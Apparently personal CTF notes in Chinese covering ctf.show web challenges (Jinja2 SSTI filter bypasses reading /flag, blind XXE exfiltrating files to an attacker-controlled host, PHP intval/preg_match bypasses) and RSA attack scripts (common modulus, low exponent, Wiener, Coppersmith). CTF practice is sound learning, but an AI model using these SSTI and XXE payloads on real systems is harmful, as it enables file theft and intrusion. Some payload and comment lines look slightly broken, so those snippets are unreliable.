?name={% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%print(x.open(file).read())%}
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
构造po="pop" #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%}
等效于a=(()|select|string|list).pop(24),即a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}
构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
?name={% set c=(dict(e=a)|join|count)%}{% set cc=(dict(ee=a)|join|count)%}{% set ccc=(dict(eee=a)|join|count)%}{% set cccc=(dict(eeee=a)|join|count)%}{% set ccccccc=(dict(eeeeeee=a)|join|count)%}{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}{% set coun=(cc~cccc)|int%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr(cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr(cccccccccc~ccc)|int)%}{%print(x.open(file).read())%}
?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
几个c就代表几,比如c=1,ccc=3
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
用~拼接 构造coun=24
{% set coun=(cc~cccc)|int%}
同web169
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
常用payload
有回显
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
无回显:
<?xml version='1.0'?>
<!DOCTYPE root-element [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/evil.xml">//xxx表示自己服务器的ip地址
%dtd;
%send;
]>
<root>123</root>
evil.xml
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx:9999/%file;'> ">%payload;
//%号要进行实体编码成%
过滤了xml头和http关键字,xml头无所谓,http,我们可以使用utf-16来
import requests
url = 'http://5d02e5f9-796d-4dc6-8e1e-6dbb51d6c0c0.challenge.ctf.show:8080/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/evil.xml">
%dtd;
%send;
] >"""
requests.post(url ,data=data.encode('utf-16'))
print("OK!")
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
?num[]=1
preg_match 无法处理数组, 数组中有元素,intval返回1,
intval()函数如果$base为0,则$var中存在字母的话遇到字母就停止读取 777e312,在传值是可以被看作科学计数法当整形,但在intval中会在e处截断
转换为十六进制 0x 八进制 0 二进制 0b 来绕过一些过滤
无法使用进制转换可以尝试 浮点绕过 477.0==477
+绕过,+在url解码时会转义为空格
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
?=php%0aphp
利用正则单行匹配和多行匹配的区别
类似地址
$_GET?$_GET=&$_POST:'flag'; //成功则修改get方法为POST方法,下面同理
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
echo new Reflectionclass(类) <=> var_dump(类)
JPEG (jpg) 文件头:FF D8 FF 文件尾:FF D9
PNG (png),文件头:89 50 4E 47
Windows Bitmap (bmp), 文件头:42 4D
GIF (gif),文件头:47 49 46 38
XML (xml),文件头:3C 3F 78 6D 6C
HTML (html),文件头:68 74 6D 6C 3E
MS Word/Excel (xls.or.doc),文件头:D0 CF 11 E0
MS Access (mdb),文件头:53 74 61 6E 64 61 72 64 20 4A
Adobe Acrobat (pdf),文件头:25 50 44 46 2D 31 2E
Windows Password (pwl),文件头:E3 82 85 96
ZIP Archive (zip),文件头:50 4B 03 04
RAR Archive (rar),文件头:52 61 72 21
Wave (wav),文件头:57 41 56 45
AVI (avi),文件头:41 56 49 20
TIFF (tif), 文件头:49 49 2A 00
提取文件中的字符串
import gmpy2
gmpy2.mpz(n) # 初始化一个大整数
n=invert(m,phi) # 求mod phi的逆元
pow(m,e,n) # 求c^d mod n
gmpy2.is_prime(n) # 素性检测
gmpy2.gcd(a,b) # 欧几里得算法,最大公约数
gmpy2.gcdext(a,b) # 扩展欧几里得算法
gmpy2.iroot(x,n) # x开n次根
gmpy2.next_prime
a. a=gmpy2.mpz(x) 可以为变量a赋予一个高精度的大整数(长度可达50位)
b. a=gmpy2.mpq(x) 可以为变量a初始化一个高精度的分数
c. a=gmpy2.mpfr(x) 可以为a初始化一个高精度的浮点数
d. a=gmpy2.mpc(x) 可以为a初始化一个高精度的复数
a. 模幂运算:gmpy2.powmod(a,n,p) #对于给定的整数p,n,a,计算aⁿ mod p
b. 对x开n次方根:gmpy2.iroot(x,n)
c. 欧几里得算法:gmpy2.gcd(a,b)#求得a,b的最大公约数
gmpy2.lcm(a,b)#求得最小公倍数
d. 扩展欧几里得:gmpy2.gcdext(e1,e2)#求式子e1*x+e2*y=gcd(e1,e2)。在RSA加密算法中利用该公式来求e的逆元d,由于实际上公钥e的选取需要保证gcd(e,ψ(n))=1,所以在这种情况下式子的右边就是1,且通常用下面这个公式来求逆元。
e. 模逆运算:gmpy2.invert(a,c)#对a,求b,使得a*b=1(mod c)
f. 检测
i. 素数检测:gmpy2.is_prime()
ii. 奇数检测:gmpy2.is_even()
iii. 偶数检测:gmpy2.is_odd()
import libnum
libnum.n2s(n) # 数字转字符串,大端序
libnum.s2n(s) # 字符串转数字,十六进制的位数奇偶都可,无需补零,大端序
libnum.b2s(b) # 二进制转字符串,二进制的位数为8的倍数最佳
libnum.s2b(s) # 字符串转二进制
s2b(n2s(n)) # 数字转二进制串,补零
libnum.generate_prime(1024) # 产生质数
libnum.factorize(1024) # 质数分解
from Crypto.Util.number import *
bytes_to_long(s) # 把二进制串转化为长整型数字(大顶端)
long_to_bytes(n, blocksize=0) # 把整型转化为二进制串
isPrime(N, false_positive_prob=1e-6, randfunc=None) # 素数检验
.\yafu-x64.exe "factor(N)" // 一般模式
.\yafu-x64.exe "factor(@)" -batchfile N.txt // 待分解因数过长时,将其保存在yafu目录下文件N.txt(文件最后一行换行)中
F12 控制台 解码
゚ω゚ノ= /`m´)ノ ~┻━┻ //´∇`/ ['_']; F12 控制台 解码
共模攻击 c1 = m^e1 % n c2 = m^e2 % n 根据扩展的欧几里得算法,可以得到 (gmpy2 拓展欧几里得算法 gmpy2.gcdext) e1s1 + e2s2 = gcd(e1, e2) = 1,s1、s2 皆为整数,但是一正一负 所以 (c1^s1c2^s2)%n = ((m^e1%n)^s1(m^e2%n)^s2)%n 化简为 ((m^e1)^s1*(m^e2)^s2)%n =(m^(e1^s1+e2^s2))%n 因为前面提到 e1s1 + e2s2 = 1 所以 (c1^s1c2^s2)%n = m%n 最后得到 c1^s1c2^s2 = m
import gmpy2
import binascii
e1 = 797
n = 15944475431088053285580229796309956066521520107276817969079550919586650535459242543036143360865780730044733026945488511390818947440767542658956272380389388112372084760689777141392370253850735307578445988289714647332867935525010482197724228457592150184979819463711753058569520651205113690397003146105972408452854948512223702957303406577348717348753106868356995616116867724764276234391678899662774272419841876652126127684683752880568407605083606688884120054963974930757275913447908185712204577194274834368323239143008887554264746068337709465319106886618643849961551092377843184067217615903229068010117272834602469293571
c1 = 11157593264920825445770016357141996124368529899750745256684450189070288181107423044846165593218013465053839661401595417236657920874113839974471883493099846397002721270590059414981101686668721548330630468951353910564696445509556956955232059386625725883038103399028010566732074011325543650672982884236951904410141077728929261477083689095161596979213961494716637502980358298944316636829309169794324394742285175377601826473276006795072518510850734941703194417926566446980262512429590253643561098275852970461913026108090608491507300365391639081555316166526932233787566053827355349022396563769697278239577184503627244170930
e2 = 521
c2 = 6699274351853330023117840396450375948797682409595670560999898826038378040157859939888021861338431350172193961054314487476965030228381372659733197551597730394275360811462401853988404006922710039053586471244376282019487691307865741621991977539073601368892834227191286663809236586729196876277005838495318639365575638989137572792843310915220039476722684554553337116930323671829220528562573169295901496437858327730504992799753724465760161805820723578087668737581704682158991028502143744445435775458296907671407184921683317371216729214056381292474141668027801600327187443375858394577015394108813273774641427184411887546849
s = gmpy2.gcdext(e1,e2)# 扩展欧几里得算法
m1 = gmpy2.powmod(c1,s[1],n)
m2 = gmpy2.powmod(c2,s[2],n)
m = (m1*m2)%n
print(binascii.unhexlify(hex(m)[2:]))
低加密指数攻击,直接对密文开三次方就是明文
from Crypto.Util.number import *
e = 3
n = 18970053728616609366458286067731288749022264959158403758357985915393383117963693827568809925770679353765624810804904382278845526498981422346319417938434861558291366738542079165169736232558687821709937346503480756281489775859439254614472425017554051177725143068122185961552670646275229009531528678548251873421076691650827507829859299300272683223959267661288601619845954466365134077547699819734465321345758416957265682175864227273506250707311775797983409090702086309946790711995796789417222274776215167450093735639202974148778183667502150202265175471213833685988445568819612085268917780718945472573765365588163945754761
c = 150409620528139732054476072280993764527079006992643377862720337847060335153837950368208902491767027770946661
import gmpy2
import binascii
i=0
while(True):
t=i*n+c
res,t=gmpy2.iroot(t,3)
print(t)
if t==True:
print(long_to_bytes(res))
break
i=i+1
import gmpy2
import time
# 展开为连分数
def continuedFra(x, y):
cF = []
while y:
cF += [x / y]
x, y = y, x % y
return cF
def Simplify(ctnf):
numerator = 0
denominator = 1
for x in ctnf[::-1]:
numerator, denominator = denominator, x * denominator + numerator
return (numerator, denominator)
# 连分数化简
def calculateFrac(x, y):
cF = continuedFra(x, y)
cF = map(Simplify, (cF[0:i] for i in xrange(1, len(cF))))
return cF
# 解韦达定理
def solve_pq(a, b, c):
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) / (2 * a), (-b - par) / (2 * a)
def wienerAttack(e, n):
for (d, k) in calculateFrac(e, n):
if k == 0: continue
if (e * d - 1) % k != 0: continue
phi = (e * d - 1) / k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return abs(int(p)), abs(int(q))
print 'not find!'
time.clock()
e = 284100478693161642327695712452505468891794410301906465434604643365855064101922252698327584524956955373553355814138784402605517536436009073372339264422522610010012877243630454889127160056358637599704871937659443985644871453345576728414422489075791739731547285138648307770775155312545928721094602949588237119345
n = 468459887279781789188886188573017406548524570309663876064881031936564733341508945283407498306248145591559137207097347130203582813352382018491852922849186827279111555223982032271701972642438224730082216672110316142528108239708171781850491578433309964093293907697072741538649347894863899103340030347858867705231
c = 350429162418561525458539070186062788413426454598897326594935655762503536409897624028778814302849485850451243934994919418665502401195173255808119461832488053305530748068788500746791135053620550583421369214031040191188956888321397450005528879987036183922578645840167009612661903399312419253694928377398939392827
p, q = wienerAttack(e, n)
print '[+]Found!'
print ' [-]p =',p
print ' [-]q =',q
print ' [-]n =',p*q
d = gmpy2.invert(e,(p-1)*(q-1))
print ' [-]d =', d
print ' [-]m is:' + '{:x}'.format(pow(c,d,n)).decode('hex')
print '\n[!]Timer:', round(time.clock(),2), 's'
print '[!]All Done!'
p = 0xd1c520d9798f811e87f4ff406941958bab8fc24b19a32c3ad89b0b73258ed3541e9ca696fd98ce15255264c39ae8c6e8db5ee89993fa44459410d30a0a8af700ae3aee8a9a1d6094f8c757d3b79a8d1147e85be34fb260a970a52826c0a92b46cefb5dfaf2b5a31edf867f8d34d2222900000000000000000000000000000000
n = 0x79e0bf9b916e59286163a1006f8cefd4c1b080387a6ddb98a3f3984569a4ebb48b22ac36dff7c98e4ebb90ffdd9c07f53a20946f57634fb01f4489fcfc8e402865e152820f3e2989d4f0b5ef1fb366f212e238881ea1da017f754d7840fc38236edba144674464b661d36cdaf52d1e5e7c3c21770c5461a7c1bc2db712a61d992ebc407738fc095cd8b6b64e7e532187b11bf78a8d3ddf52da6f6a67c7e88bef5563cac1e5ce115f3282d5ff9db02278859f63049d1b934d918f46353fea1651d96b2ddd874ec8f1e4b9d487d8849896d1c21fb64029f0d6f47e560555b009b96bfd558228929a6cdf3fb6d47a956829fb1e638fcc1bdfad4ec2c3590dea1ed3
pbits = 1024
kbits = 128
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits,beta=0.4)[0]
print(p+int(x0))
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import gmpy2
public=RSA.importKey(open(r'C:\Users\Reacurt\Downloads\easyrsa8\public.key').read())
n=public.n
e=public.e
p=97
q=106249972159566919549855203174197828387397831115262336234662051342543151219702510584956705611794290291345944183845955839244363030579896461607496959399297130227066841321473005074379950936513608503266587950271044991876848389878395867601515004796212227929894460104645781488319246866661398816686697306692491058609
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
n=10306247299477991196335954707897189353577589618180446614762218980226685668311143526740800444344046158260556585833057716406703213966249956775927205061731821632025483608182881492214855240841820024816859031176291364212054293818204399157346955465232586109199762630150640804366966946066155685218609638749171632685073
e=65537
d=4520639064487098151327174667961365516283539231992543792882057746866179464294032313887767783621724945557985447874376379715922452725597335427159165685648572663979688014560576024497341124412004366514253110547369977143739781801290219136578513871764574450392367530817034216313429071683911546803031169524669257788417
private=RSA.construct((n,e,d,p,q))
rsa=PKCS1_OAEP.new(private)
m=rsa.decrypt(open(r'C:\Users\Reacurt\Downloads\easyrsa8\flag.enc','rb').read())
print(m)